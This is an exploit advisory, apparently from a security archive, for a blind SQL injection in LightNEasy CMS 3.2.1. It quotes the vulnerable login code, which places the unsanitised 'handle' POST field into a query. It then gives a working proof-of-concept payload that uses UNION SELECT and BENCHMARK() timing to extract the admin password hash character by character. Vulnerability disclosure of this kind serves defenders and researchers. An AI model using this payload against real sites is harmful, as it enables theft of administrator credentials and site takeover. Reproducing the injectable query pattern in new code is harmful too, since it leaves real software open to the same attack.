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LightNEasy CMS 3.2.1 Blind SQL Injection

LightNEasy CMS 3.2.1 Blind SQL Injection
Posted Sep 21, 2010
Authored by Stephan Sattler

LightNEasy CMS version 3.2.1 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 780f59ba7fcae9936fc0fdd06203097d

LightNEasy CMS 3.2.1 Blind SQL Injection

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# Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.lightneasy.org/
# Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
# Version: 3.2.1
# Special Thanks to: Dominik Landtwing


[ Vulnerability]

# Vulnerable Code:

common.php line 112-148

function login() {
global $message, $set, $langmessage, $prefix;
if($_SESSION[$set['password']]!="1") {
if($_GET['do']=="login" && $_POST['handle']!="") {
$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
if($row = fetch_array($result)) {
if($row['password'] == sha1($_POST['password'])) {
...

}}}}}

# Explanation:

$_POST['handle'] isn't sanitized before executing the database query.


Since the only user after a fresh install is the admin-user with id 1 and
a normal visitor can't register we have to retrieve the admin hash by using benchmark().

# Exploiting the Vulnerability // PoC:

URL: http://localhost/LNE/LightNEasy.php?do=login

Postdata:

handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login

This will trigger benchmark() if the first character of the admin hash is b.

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